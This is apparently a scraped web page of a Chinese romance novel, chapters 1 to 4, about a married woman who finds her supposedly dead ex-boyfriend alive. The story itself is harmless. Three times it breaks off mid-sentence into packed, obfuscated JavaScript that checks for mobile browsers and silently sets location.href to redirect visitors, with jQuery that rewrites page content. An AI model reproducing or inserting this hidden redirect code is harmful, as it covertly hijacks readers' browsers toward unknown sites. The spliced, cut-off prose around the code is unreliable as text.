《结婚后前男友复活了[雄竞]》 1. 第1章 九月烈阳悬空,小区里的知了躲在树荫里吱吱乱叫。 林念禾从电梯里出来的时候,正好遇见隔壁送孙子去游泳班的张阿姨。 六七岁的小孩站不住,四处乱窜,差点撞到她的身上。 林念禾下意识托住他的身体,还没来得及嘱咐两句,张阿姨已经一把抓住小孩儿的手腕,扯到自己的身边,“让你老实点,你非乱跑。差点撞到林阿姨了,快跟阿姨道歉!” 小孩儿陡然老实,贴着自家奶奶的腿边,一字一句:“对不起阿姨,我刚才不是故意的。” “没关系。”望着他澄澈的眼睛,她顿了顿,又从包里拿出一块巧克力递给他。 张阿姨有些不好意思地催促,"快说谢谢阿姨。" 小孩接过东西,语气羞涩地道谢。 张阿姨看她温柔和睦的样子,不由感叹: "念禾脾气这么好,以后和小江的孩子指定比我家乐乐听话。" 说到这里,她忽而想起来,"你们准备什么时候要孩子?" 隔壁这对搬过来两年的小夫妻,不仅长得好看,学历还个顶个的高。唯一不好的点就是男方太惯着女方,家里大大小小的事物都是男方负责。 哪有男人做家务的道理,但自己不是他们的长辈没有立场去指责,所以只能偶尔在心里吐槽两句。 林念禾不留痕迹地打量了一眼小孩在自己裙角上留下的黑手印,决定一回家就换掉身上的裙子。 “之后再说吧。” 非亲非故,上来打听她的生育情况,脑子有病吧。 她在心里无语了一番,看在同住一层的关系,又不敢撕破脸,只能默默憋屈。 "小江真是我见过最能干的男人,今天早上出门看见他从菜市场回来,现在准是在家给你做饭呢。",张阿姨换了个话题。 林念禾假笑,心猛地一沉。 今天要完蛋了。 老公找的好不好她不知道,但她老公厨艺怎么样她心里一清二楚。 “对了,小江的妹妹现在在上大学,你看她有空的话,能不能上我们家来帮忙辅导一下乐乐的功课。”她佯装头疼,“他妈没时间管,我又看不懂那些乱七八糟的作业,上学期期末考试全班倒数,想来想去我只能找你帮忙。” 白嫖大学生可比辅导班省钱多了。再说了,外面的老师水平层次不齐,说不定学历还没江予州的妹妹学历高。 张阿姨算盘打得啪啪响,想占便宜几个字就差写在脸上了。 林念禾心里那点提前下班的喜悦瞬间烟消云散,嘴角几不可察往下耷拉一瞬,敷衍的话张嘴就来。 “她最近忙着考试,没什么时间,等下回遇见了我问问她。乐乐看着就比别人聪明,打小的清北苗子。男孩子都是十几岁才冒尖,现在成绩差不代表以后成绩差,你不用太着急。” 反正她高中的时候,班里前五名全是女生…… 男孩子都是后来才聪明——普通家长因为自家男孩儿平凡而滋生出的一种试图麻痹自己的说法。 听见清北两字,张阿姨止不住地高兴。这话要是从别人嘴里说出来,她会觉得是对方随口胡诌的好话,但眼前这位可不一样。 正宗清大毕业的高材生,想当年A市的高考状元,裸分720。 张阿姨内心的喜悦像道喷泉似地往外冒,等高兴完回过神想继续劝她早生孩子,林念禾早跑没影了。 伦英小区一梯一户,一层两户人家。作为上下班经常会遇见的邻居,每次碰见都不得不违心地顺着对方进行一场鸡零狗碎的交流。 她现在不想生孩子,天王老子来了她也不生。 林念禾一边想着,一边开门。进家门的那刻,忽然有些后悔给出去的那块巧克力。 那是她包里最后的一块。 早知道不给了:) 没一句她爱听的话。 指纹锁咔哒一声打开,左脚刚迈进玄关,一道米黄色的身影往她身上猛扑过来。 林念禾眼疾手快地合上门,确认她的好大儿不会有机可乘地往外跑后,双手握住它的两条前狗腿往家里拖。 傻狗已经快四十斤了。她累得气喘吁吁,格外怀念当初那个只有几斤能在她怀里撒娇的小土松。 乐乐对于自家老母亲的疲惫一点不知道,只张着嘴往她怀里钻。 没错,她养的狗和隔壁阿姨的孙子重名。 没有恶意,纯纯巧合。 以至于每回遛狗都得避开他们,生怕知道了,扑上来追杀她。 从玄关到客厅短短的距离,硬是让她走出壮士抗山的即视感。 下个月必定要克扣乐乐的零食,不能再继续让江予州溺爱下去。天天闲下来就往狗嘴里塞东西,他倒是身材保持得一绝,狗跟吹气球似地胖成球。 什么人呐,一点都不在乎儿子在狗界的形象。 忽而手中一空,胸前压着的重物感陡然消失。 一只修长白皙的手挡在她的面前,将乐乐轻松拎起放到一边。 林念禾愣着抬眼望过去。 男人的衬衫长袖挽到小臂处,露出半截劲瘦的肌肉,金丝眼镜一如既往地架在鼻尖,温润的眸光透过镜片,嘴角微扬。 "走,吃饭了。" 半个月没见面,她忙着出差,昨天回家时恰好江予州有事不在家。所以今天是两人许久未见的第一面。 她打量他系在身上的围裙,迟疑:"你下厨做饭?" "对啊。"江予州弯腰凑到她的面前,"比上次进步很多。" 上次他心血来潮做了一桌子菜,只尝了两口的林念禾被毒到急性肠胃炎连夜进医院。 她躺在病床上难受到说不出话的那刻,十分庆幸没吃江予州做的那盘不知生熟的豆角。 他不适合做厨子,适合当绝命毒师。 一手杀人于无形的厨艺,全市打着灯笼都找不出来第二个。 某些不太美好的体验浮上脑海,客厅霎时安静下来。 “哥!嫂子!”江黎从厕所出来,像只离巢归家的小鸟似地扎进林念禾的怀里。 突如其来的声音打破两人间的沉默。 “嫂嫂,我一个月没见你,好想你的。” 江予州少年时期父母因公殉职,此后被大伯抚养长大。即使血缘上是堂妹,在他的眼里江黎和亲妹妹没什么区别。 小姑娘争气,三年前高考超常发挥考上A大。A大和B市相隔千里,她一个人在外地念书,江予州总怕她照顾不好自己,隔三差五就得关心下近况。 两年前,他和林念禾通过朋友介绍认识闪婚。两个人买的房子和A大之间的车程只有十五分钟,忙的时候江黎还会过来帮他们喂狗,一来二去,江黎对林念禾熟得不再熟。 她把林念禾当亲姐姐,暑假两个月在老家没见面,这会儿说的想念全是切切实实发自肺腑。 比起她哥那种没谈过恋爱直接闪婚,纯到不能再纯的死直男,她当然更喜欢香香软软的姐姐。 “我哥今天研究了一天的菜谱,连你最喜欢的油闷大虾都安排上了。”她叽叽喳喳横在两人中间。 林念禾单手抱着她没回话,思考现在接个闹钟转头回公司的可能性有多大。而怀里的妹妹压根不知道将要到来的危险,一个劲儿地拖着她去餐桌。 “你俩真是的,半个月没见面也不说话。就站在门口,一高一矮跟演默剧一样。” 桌上林林总总摆了十道菜。 林念禾被她摁在桌子的一边,接着旁边的椅子被拉开。熟悉的洗衣液香味顺着空气弥漫进她的大脑,一点点麻痹放松神经。 居家好男人的优点大概就在于此。你闻见他身上的味道,下意识会联想到这是家的气息。 然后再野的心也能瞬间平静下来。 林念禾陡然卸下防备,忽然回忆起江予州平时对自己挺不错的,见鬼地心软起来。 今天冒着进医院的风险舍命陪君子也不是不可以。 江予州主动夹了一筷子的菜放进她的碗,"尝尝。" 看出她的犹豫,他望着她的眼睛,真诚道:"我自己先试过了,没毒。" 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880093|159772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林念禾眨了眨眼睛,"江老师,我明天要上班的。" "我知道的。"他抿唇,有些压不住笑意,学着她的语气回道,"看在我们结婚两年的份上,给我个面子试试?" 江黎坐在对面,不知道这俩人一来一回打什么谜语。 可能是夫妻间的小情趣? 吃顿饭,夹个菜还得报备自己明天的行程。 真磨蹭…… 她端起碗,毫无忌惮地往嘴里送了一口自己喜欢的菜。林念禾顿时停下动作,静候。 “看我干嘛?”江黎皱眉咽下嘴里的东西,难以置信:“哥,你学了半个月,价值八千块钱一对一厨艺辅导就学出来这水平?” 说不上好吃也说不上难吃。 中规中矩的味道。 八千块钱等于白送,江黎觉得把她隔壁邻居家的傻子送去学都不至于学出这么个破手艺来。 林念禾不知道他特意报班学了好久才准备的这一桌,想到自己刚才拐着弯的拒绝,相当于无意中给他的热情泼了好大一盆冷水。 于是愧疚地从那盘卖相最好的油焖大虾里挑出个头最大的放进江予州的碗里,意图弥补。 江予州低头看自己的碗,骨节分明的手拿筷微顿。笑意慢慢从眼里溢出来。 借花献佛? 但这花好像是从他这佛的手里拿出去的。纵使结婚已经两年,他还是会时不时被林念禾可爱到。 江黎扒饭,嫌弃他一副不值钱的样子,简直没眼看。 "你明年就大四了,想好毕业去哪儿了吗?" A财大在全国财经类大学排名靠前,无论是留在A市发展还是回老家,都会有不错的未来。 当然这个不错是建立在江黎不摆烂的前提上。 江予州的食指在桌面上轻敲,示意她抬头听他说话。 "昨天打电话大伯说你上学期挂了两门课,一门财务报表分析,一门计量经济学。没让你以后大富大贵,前途无量,起码别挂科丢我的脸行吗?" 江黎一听丢脸,梗着脖子回道,"A大和我们学校隔着二十公里,我怎么就给你丢脸了。你自己当老师,手底下还挂一堆人呢,挂科只是一种非常正常的现象!" "嫂嫂,你说对不对!" 忽然拉进战争的林念禾沉默一瞬,"不知道,我没挂过。" 忘记她是高考状元,市优秀毕业生,满分绩点的江黎内心一噎。这些破学霸一点都不懂他们普通人期末奋战到天亮,结果考试还挂科的痛。 她转了个方向开始炮轰,"你非要我努力,你为什么不努力,但凡你当年不留校不搞科研而是进大企工作,我就不用操心这些事情。" 江予州气笑了,双手环胸,身体后仰靠在椅背上眼神冷淡地睨她,"怎么,合着那大企是我开的,我进了就能给你安排工作。你天天谈恋爱把脑子谈傻了吧。早跟你说过那男生不怎么样,自己蠢算了给你还带蠢了。" "怎么不能,我室友她爸在霍氏总部当高管,明年就能直接给她安排进霍氏。"她抠手,别别扭扭地把头偏到一边,"你别骂我男朋友,他又没惹你。" "你就护他吧,也不知道给你灌什么迷魂药了。"江予州说,"少听你室友胡扯,霍氏最近内部人员调动幅度比你高中那成绩还惊人,你室友她爸能不能保住工作都难说。" "你不学理科的吗,哪来这么多小道消息。"江黎狐疑,觉得他八成是在诓她。 江予州本身专业是物理学,前年博士毕业后直接留在A大当硕导。方才江黎那番不想努力只想啃哥的言论纯粹是气话,她自己也知道她哥的专业和金融隔着好几座大山。 但看他这副理直气壮骂人的样子,江黎这会儿莫名有点来气。 要按古时候的论法,她室友作为皇亲国戚都不知道霍氏内部乱成一团,江予州一八竿子打不着的大学老师是怎么知道的? “你管我怎么知道的。”他没好气地往江黎碗里扔他不喜欢吃的芹菜,“过两天霍氏宣布破产被收购,到时候你就知道我说的是不是真的了。” 2. 第2章 江予州怎么知道的霍氏秘闻,还要归功于他的本科室友,一位只学了一个学期的物理学就果断放弃转学金融的神人。 当时整个专业每天高喊退学转专业的人不计其数,但真的转成功并且后来混出名堂的也就这一位。 吃完饭,江予州收拾好碗筷。天色渐暗,大片的夕阳落在天边,小区楼下也逐渐热闹起来。老人下棋遛弯,小孩打闹的声音接二连三响起。 他从厨房出来,林念禾还坐在位置上出神。 刚擦完水冒着寒气的手背贴上温热的脸颊,她飘忽的思绪瞬间回笼,下意识抬头看他。 “怎么了?”江予州瞧她苍白着脸神色并不好,“身体不舒服吗?” 林念禾笑笑,反手握住他的手,“可能有点累了。” 出差半个月,落地接着连轴转了一天,铁打的人都会累,更别提她这种弱不禁风的身体素质。 江予州蹲下身,心疼地摸摸她的手。柔软的手心肉相触,林念禾垂眸又有些出神。 "困了就去睡会儿。" 她深吸口气,站起来,“我去洗点水果。” 厨房里, 水哗啦啦往下流,顺着手腕。 江黎托着下巴警告她哥,“我谈恋爱的事情不准告诉我爸。” “看你表现。” “江予州,做人不能太过分!” 被喊到名字的男人波澜不惊,一手摸着乐乐的狗头,另一只手掐着手机给乐乐挑新衣服。 上个月买的衣服,傻狗又穿不进去了。 “这学期别挂科,晚上别夜不归寝。你做到上述两点我可以考虑一下把你谈对象的事不告诉大伯。” “哥哥,做人要将心比心的,我只是和男朋友偶尔出去玩两天,又不是杀人犯法。”江黎真要崩溃了。 “哦,我上学没谈过,没法跟你将心比心。" 她根本不能理解江予州的嘴是怎么说出如此冰冷无情的话语。 “念禾姐!”江黎连嫂子都不想喊,冲着厨房的背影喊:“我哥要扼杀我美好的青春。” 兄妹俩吵吵闹闹已成习惯,林念禾和稀泥:“你让他别扼杀。” 江黎:…… 她现在的无语就好比说了一句好困,结果对方说你别困。 好饿,林念禾说你别饿。 屁用都没有的回答,甚至在这场兄妹战争里起不到一丝一毫的调解作用。 可恶的小夫妻。 她破罐子破摔,"姐姐你大学谈恋爱,会有亲哥不让你出去约会吗?" 餐桌霎时鸦雀无声,就连一直往江予州怀里钻的乐乐都十分有眼色地停下动作,乖乖靠在它爸的腿上。 厨房的流水声还在继续,林念禾睫毛轻颤,无声地关上水阀。 破碎的回忆犹如泄洪的瀑布冲进脑海,将思绪和呼吸一同搅乱。 只沉默了片刻,她捡回自己的声音:“记不清了。” "初恋还能记不清,我听别人说初恋可都是刻骨铭心的。念禾姐这么优秀好看,初恋想必质量也不会差到哪去。"江黎抱着胳膊得意洋洋,无视对面人已经冷下去的脸色,"你别怕我哥吃醋生气,他很大度的。" "就算你初恋比我哥帅,比我哥有钱,比我哥更善良,他也不会跟你计较。如果一个男人心胸狭窄到不能容忍自己老婆有前任,那娶他回家可真是倒霉到天了。" 她特意放慢语速,"哥,你可千万别小心眼,毕竟小心眼的男人只会被老婆扫地出门。" 乐乐东看看西看看,发现它爸此时此刻正往外嗖嗖地散发着冷气,立即踩着地板有多远跑多远。 江予州抬手扶了下镜框,神色淡漠,"江黎如果你最近很闲,闲到想要插手我和念禾的感情生活,我可以去你们学校找你们的导员交流一下教学经验。" "听说他以前也是A大毕业,算我半个师弟,我倒是很乐意抽空去认识对方。" "至于念禾的前男友,我从来都不介意这些。心胸狭隘四个字,你还是留给你的小男朋友比较好。当然,我更希望他在今年年底之前能变成你的前男友,以防止你和他待在一起越变越蠢。" 一连串的话砸下来,头脑再缓慢的人也意识到江予州是真的有点生气了。 江黎瞬间安分下来,但拉不下脸去和他道歉。 明明是他先多管闲事,结果吵急眼了又开始威胁她。 好小气吧啦的一男的。 典型的玩不起嘛。 她不高兴地低头,林念禾不知道什么时候从厨房出来,把一盘葡萄递到她眼前。 "好了,别吵架了,吃点水果降降火气。" 林念禾同时给兄妹俩人顺毛,一手一颗葡萄递到他们嘴边,"你哥是担心你,你看他什么时候跟我发过这么大的火。" 说完,留下他们在原地冷静,转身去喂狗。 江黎憋着一口气在心间,死活想不明白当初林念禾怎么能和她哥见过一面后迅速闪婚。这脾气,一点都不温柔。 江予州不管妹妹气得火冒三丈,咬开自己老婆刚塞进来的那颗葡萄,甜滋滋的果肉让人心情都瞬间变好不少。 气炸了的妹妹,坐在对面,面无表情地目睹了他一系列不值钱,堪称超绝变脸的表情转变。 哦,她刚说错了,纯粹对别人不温柔,对嫂子倒是挺温柔的。 林念禾陪着乐乐在阳台玩了半个小时。听见身后的脚步声,她头也没回地问:"江黎走了?" "走了。"江予州顿了顿,"今天的事我替江黎向你道歉。" 林念禾撕开一包肉干,抽出一根喂给乐乐,无所谓地说,"有什么好道歉的,她又没说错什么。" 她知道江予州的道德感很高,连窥探别人隐私,询问过往恋爱史,在他眼里都是一种很不礼貌的行为。 "可是……" 她打断他的话,"江予州,我又不是小孩。"又偏头望他,眼眸乌黑认真,"前男友是去世了,又不是劈腿把我给绿了。" "没什么不能提的,早就过去了。"林念禾想起他好几次欲言又止的样子。 "我们是夫妻,我不可能一边心里对前男友念念不忘,一边跟你生活下去。" 她干不出吃着碗里看着锅里的事。 如果到现在她仍旧死守着那点过往,依照霍锌的脾气,九泉之下肯定不会高兴。说不定还会托梦痛骂她,让她老老实实和江予州走下去。 想到这里,她莫名有些难过。三年了,做梦都梦不见他,人都说合格的前男友应该像死了一样,但也没说真死了的前男友不给前女友托梦啊。 白瞎她当年结婚还特意去他坟前烧纸。 "不说这些了,江予州你能不能不要溺爱孩子。" 林念禾喂完一根肉条,收起手里的零食,"它比我出差前胖了有五斤。" 谁家土狗半个月胖五斤…… "我……"乐乐的头又蹭过来,试图撒娇让江予州多喂它两口吃的。 孩子不懂它的爸爸正在接受妈妈的质问,它只想多吃两口。 但这幅父慈子孝的画面落在林念禾眼里,如同现场抓住证据。 "江予州!" 六点半的江边人群稀稀落落,太阳落在天际,火红一片,和黑夜争夺最后一块。 江予州牵着狗绳,无数次想开口解释自己不是过度溺爱。 在他看来,乐乐一点都不胖。然而,它上一秒刚被路边的小母狗嫌弃。 江予州:…… "明天你就带着它减肥跑步。"林念禾双手插兜,落在后面,"你也得跑,你身体素质真的很一般,动不动就感冒,趁机会多跑步锻炼锻炼。" 他的身材不算差,平时工作再忙也会去健身房锻炼。只是从小身体素质就不怎么好,一年到头经常发烧感冒。 家里的退烧药感冒药装了一柜子。林念禾去年强迫他去做了个详细的全身体检,最终也没查出什么。 "我明天晨跑给你带早餐,老街的肉馅包子和水晶虾饺可以吗?" "可以可以。"林念禾有些不好意思。 强迫他晨跑,他还给她带早餐,简直过分善良。 "学校最近忙吗?" "学期刚开始,这点忙还算不上什么。" 两个人一句我一句地闲聊,顺着江边散步。 这会儿人开始渐渐变多,全家吃完饭出来遛弯的,刚下班的社畜出来社交团建。 几米开外有个卖鲜花饼的小摊,江予州记起江黎昨天说想吃鲜花饼,于是将绳子递给林念禾,让她等他一会儿。 林念禾低头忙着回公司同事发的消息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880094|159772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随口答了句好,就站在原地。 等忙完公事,抬头突然发现前方右侧的道路边停着一辆黑色劳斯莱斯幻影。 没等她开始欣赏豪车的风姿,乐乐猛地冲上前,左右嗅了嗅然后在车的后轮处高抬后腿。 她当下吊起一口气,心脏飞快加速,用这辈子最快的手速一把拽开狗。 幸好只是预备尿的动作,给了她足够的时间反应。 林念禾抱住自家的傻狗,惊魂未定。这不是普通劳斯莱斯,这他爹的是车牌号五个八的劳斯莱斯。 全A市找不出来第二辆这么狂的车,背后的主人能有多好的脾气? 假设她手速不够快,傻狗真的玷污了这辆车,赔钱好说,就怕对方生气要狗命。 林念禾脑子里陡然出现一堆黑衣保镖下车抢狗的画面,吓得一激灵。 到时候她上哪儿给它收尸去。 察觉它没半点悔过。 "林乐乐,你做狗的素质呢!"林念禾生气地给了它一巴掌,"你妈我能赔得起这种车吗,万一他生气要你的命,你就去地府见你前爹了!" 怀里的狗冲着前方猛摇尾巴,满不在乎的态度直接让老母亲气到原地升天。 "我跟你说话呢,你能不能端正态度?" "汪!" 一声狗叫倏地打断她的话。 林念禾下意识顺着它目光的方向看去。 江边的栏杆,男人倚在上面,通身黑色西装,眉眼冷峻,鼻梁立挺,薄唇没什么弧度地抿着,在听见响动后微微偏头看过来。 侧脸优越的轮廓吸引不少过路往来的路人,只不过他气质过于拒人千里之外,大家不敢多看便挪开视线。 林念禾一瞬息忘记呼吸。 撞……撞鬼了? 手底下的狗还在不停傻叫,风带过发丝,她愣怔住,迟钝的大脑做不出反应,方才还挂在嘴边用来教训狗的前爹如今水灵灵死而复生站在她的眼前,波澜不惊地盯着她。 过往如同走马灯涌上心口,针扎般的微疼让她失去思考能力。 无名指的婚戒忽然滑落在地。 林念禾下意识低头寻找,银素圈顺着直线不停滚动,直到碰到男人的皮鞋才停止。 他弯下腰捡起那枚主人带了好几年,已经留有痕迹的戒指,走过来。 熟悉的冷香率先蚕食掉她的理智,扯着她进入回忆。很久之前,因为他日复一日的亲密,她也曾被迫染上相同的气味。 男人的掌心很大,小小的戒指平躺在中心。 "谢谢。"林念禾艰难道。 指尖触碰到对方的那刻,明明时间很短,她却度秒难捱。 霍锌没有说话,漆黑的眼眸像化不开的浓墨,静静看着她把戒指重新带回无名指。 残存在金属上的余温好似还留在掌心,他不动声色地捻了捻指腹。 "念禾,这位是?" 腰间倏地绕过来一只手臂,林念禾僵了一瞬,很快恢复正常解释,"戒指不小心掉地上,他帮我捡起来了。" 江予州听见这番回答,心里稍松,但仍旧隐隐有种不适,像被豺狼在暗处盯上,只等着趁他不备狠狠咬下一块肉。刻意忽略掉这个陌生男人落在自己身上的眼神,他自然地接过林念禾手里的狗绳,"回家吗?" 她不敢去看霍锌,含糊道,"好。" "明天下班我去接你?" 林念禾有些诧异,"明天周一,你没课吗?" 她知道A大物理学院缺人,恨不得一个老师当三个用,上周江予州给她发了他这学期的任课表。周一下午满课,他哪来的时间去公司接她下班。 "接老婆下班当然有空。"江予州牵起她的手,往前走。 声音不大不小,足够身后的人听得一清二楚。 无论对方打的什么心思,恰巧见色起意也好,留意很久特意找机会上来搭讪也罢。在知道林念禾有老公后,他觉得对方如果是个要脸的男人都该老实打消那点花心思。 想到这里,江予州不忘给身边的林念禾上眼药,"这个人好奇怪,为什么大夏天在外面穿一身西装?" "……"她沉默了下,"可能纯装吧。" 话音刚落,江予州顿时心里舒坦了,嘴角上扬。 "那你觉得我穿西装好看吗?" 3. 第3章 车内鸦雀无声, 副驾上的刘助理无助地捂住胸前的文件夹,企图抵挡后座老板的低气压。 他也不知道为什么车开到江边道,老板莫名要下车待会儿。 然后上车后就更加生气了…… 打工人回忆了下今天,唯一能给上司添堵的只有上午做汇报被打回去的陈经理,心中不禁叹服陈经理的方案居然能烂到让常年不说废话的霍总动真怒。 简直是烂出奇迹了! 后排,本就不苟言笑的男人现下神情更加冷峻,他半阖双眼靠在椅背上休息。 从昨夜下飞机到今天下午,二十多个小时没休息。某些突发事件将疲惫感冲散得一干二净。 良久,霍锌睁开眼,“回公司。” 回家之后,乐乐就趴在地板上闷闷不乐,还时不时冲沙发上坐着看电视的林念禾呜咽两声。 家里就剩下一人一狗,江予州在半个小时前接了通电话回实验室加班。 电视上正播着最近热门的一部偶像剧,男女主关于彼此爱不爱对方吵得你死我活,林念禾心不在焉地看着。 配上惨绝人寰的狗叫声,她一颗心扑通扑通地乱跳,慌张感淹没其他知觉,手脚甚至开始发麻。 三年前,霍家被人算计,霍父脑梗突发去世,霍氏濒临破产。霍锌前脚跟她提了分手,后脚发生车祸被宣告死亡。 所以他俩也算物理意义上的和平分手,毕竟当时的霍锌是个死人没法跟她吵架纠缠。 这会儿发现前男友没死还活着的那点喜悦感压在心里最底层。 她眼前黑影重重,鼻尖似乎绕着那场车祸的血腥味。 霍锌没死。 他甚至活得好好的,在国内,在A市。 林念禾忽而联想到饭桌上江予州说的那番话。 霍氏管理层动荡,大量抛售股票。是霍锌干的? 时间是个好东西,三年前刻骨铭心的痛到如今只剩下一点轻飘飘的痕迹留在心头。 哪怕是再见初恋,也没让她失去多少理智。 乐乐嗷呜半天,发现林念禾一直出神不理它,径直跳上沙发。 林念禾收回思绪,摸摸它势作安慰。 "你前爹是没死,但是你还有个后爹。"她捧着乐乐的脸,认真道:"难道你要抛弃江予州 ,去找你前爹吗?" "做狗要有良心。是谁在你半夜窜稀送你去医院,是谁在你绝育前特意给你找了女朋友。" 都是江予州。 狗听不懂人话,但狗能看懂眼色。知道林念禾不会带它去找霍锌后,它老实趴在沙发上不再乱叫。 其实这番话,看似说给狗听,实际也说给自己听。 前男友没死是不假,可她也结婚了。 不论是精神出轨还是□□出轨,都不道德。 她和江予州结婚两年,好好的日子不过,难道非要离婚去和霍锌复合吗? 先不说霍锌会不会心甘情愿地吃她这棵回头草,她要是敢离婚,她妈第一个从地底下爬起来打死她。 霍氏偌大的企业,即使近几年来业绩下滑,但瘦死的骆驼比马大,一般的企业想弄它都得自己先脱层皮。 她不知道霍锌想怎么报复,但她能确定一点,他不是今天才出现在A市。 三年时间,他没动过一点来找她的念头。 是不是同时也说明他确确实实把她给甩了? 原来那句我们分手吧是发自肺腑的,厌烦的。 林念禾倏地笑了,她还以为他被逼无奈。 周一上班, 上班高峰期,电梯里人不算少。 她站在右侧一角低头给江予州发消息,身边的姜之暖好奇地探头,"哟,给你们家江教授发消息呐。" 她啧啧两声,"至于吗,多大的人了,还需要别人提醒他好好吃饭,真腻歪。" 林念禾回完最后一条消息,收起手机,掐了她一下,"他昨天加班没回家,我怕他忘记吃饭。上回低血糖倒在实验室,给学生吓坏了。" 姜之暖递给她一杯咖啡,"这我懂,我读研的时候就天天害怕导师出意外。" 她运气差,主动联系的几个硕导手底下人都满了,最后被分给一个六十岁快要退休的老头。老头没心情管他们,天天忙着带孙子忙得不亦乐乎。结果有天带孙子,在路上不小心摔成尾椎骨骨折。打那之后,姜之暖每天睁眼第一件事就是为导祈祷,希望他活到自己顺利毕业。 "昨天聚会幸好你没来。"电梯门打开,离上班还有段时间,姜之暖拉着她走到茶水间吐槽。 "怎么了?" 她和姜之暖同期进公司,相处五年,以她的了解,一般露出这种嫌弃鄙夷的表情,那对方八成干了件很畜生的事。 "何建那个老东西喝了几杯酒,就指手画脚分不清谁是爹。昨天点名说你,结婚两年不生孩子,脑子有问题。"姜之暖骂道,"我看他才是蠢狗,以为别人都是傻子看不出来他的花花心思吗?" "你前脚升职,抢了他狗腿心心念念的部门主管位置,后脚他就劝你生孩子,想用这种恶心人的手段挤掉你。" 林念禾抠着杯底,默默叹了口气。公司里,她和何健不对付也不是一天两天了。她有的时候也不太明白这老登脑子里想些什么,就喜欢逮着她一个人针对。 天天端着一副官架子,好像全世界的人都得给他当儿子。 心里骂归骂,但这孙子是她领导,林念禾又不可能一把掀翻桌子指着何健的秃头骂他傻逼。 毕竟职场牛马拼不过老总小舅子。 “他可能想早死早投胎,来给我当儿子。” 姜之暖被她一本正经的样子逗笑,“得了吧,这样的货色配给人当儿子?送我家当狗我都不要。” "他妈生他的时候,怎么没为了工作掐死他呢。" 她顺嘴骂完,瞥了眼墙上挂的钟,"不跟你说了,我回工位了。" 林念禾挥挥手跟她告别,也回到自己的办公室。 周一很忙,忙到她连江予州回复的几条短信都来不及扫一眼。 下午,时针刚扫过五点,林念禾收拾好东西,立马准备离开公司回家。 忙归忙,让她加班是不可能的。 上头领导不加班,底下员工也有样学样。外间的工位,叮铃哐当全是声音,嘈杂得像在菜市场买菜。 有人喊着下班约饭,有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880095|159772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的位置早空了。 五点准时下班堪称奇迹,纵观整个公司上下,只有林念禾负责的部门微微散发出牛马的活力。 其他部门,一推开门全是半死牛马。 她边往电梯走,边低头看手机。 江予州中午发的信息,说自己有事不能来接她下班。倒没什么失落的情绪,成年人因为各种原因失约再正常不过,更何况是工作原因。 一片阴影忽地罩下来,挡住光线。林念禾下意识抬起头,何建沉着张脸像堵墙似的站在她跟前。 有病吧,她今天又没惹他。 四十岁就进入更年期未免也太早了些。 "真巧,何总您也下班回家?" 总经理办公室比她部门的楼层要高两层,下班绝不可能在同一层搭乘电梯。 林念禾这幅装傻充愣的样子,落在何建眼里活生生被添上个人主观偏见转变成嘲讽。 她难道会不知道自己是特意来找她的吗? 他接着想到上午被姐夫敲打的那些话,心里顿时更加不舒服。 高材生怎么了,高材生也不能准点下班。 公司今年业绩下滑,照他看多半责任都在这群溜奸耍滑只想着偷懒不为公司付出的混子高材生身上。 何建吸了口气,暗示她,"这才五点。" "对啊,五点下班。" 身后员工见架势不对,连电梯都不坐直接奔向楼梯。 开玩笑,万一头儿没扛下来,没刚过何总经理,让他们回去加班怎么办。 林念禾:…… 何建看见这群人不思进取的样子,简直痛心疾首。年纪轻轻不图上进,罪魁祸首都是面前这个女人! 他忍下即将喷薄而出的情绪,尽量让自己看起来平和。 没关系,以后有的是机会给她穿小鞋。 "东华的项目,今晚政府负责人来A市。我记得中标之前一直都是你负责,所以晚上的接风宴你得去。" 说是接风宴,实则是陪人喝酒喝到满意。 林念禾皮笑肉不笑,“何总贵人多忘事,项目都从我手里转给徐寒了,让我去给领导接风,恐怕不合适吧。" 那段时间,她跑上跑下,带着人跟孙子似的改方案,结果全为别人做了嫁衣。徐寒是老板的亲儿子,未来继承公司的嫡少爷。她一个没权没钱的小职员,能为少爷的登基之路做出贡献,是她的福气。 后来,大概是上头也觉得自己的做法不对,索性把部门主管位置补偿给了她。 给个巴掌再扔块不大不小的甜枣,这他爹的把她当狗训呢? “吃顿饭而已,林念禾你摆那么大谱做什么?”何建皱眉,被束缚在西装里的啤酒肚一吸一沉。 “徐寒才进公司半年,手里没过多少项目,你于情于理都应该帮他。” 于情,徐寒是少爷,公司是他们家的私有财产。 于理,自己是他下属。 听懂何建话里的逻辑,她突然想一锤干爆这个地球。 “赶紧收拾收拾去楼下。”何建撂完最后一句话,临走前还不满地瞥了她一眼。 要不是她掐点下班,公司电话内线打不通,他至于亲自来堵人吗? 4. 第4章 世界是个巨大的草台班子,而鑫力是里面最烂的草台班子。 这是林念禾入职鑫力短短半个月后就顿悟的终极哲理。 迈巴赫后座, 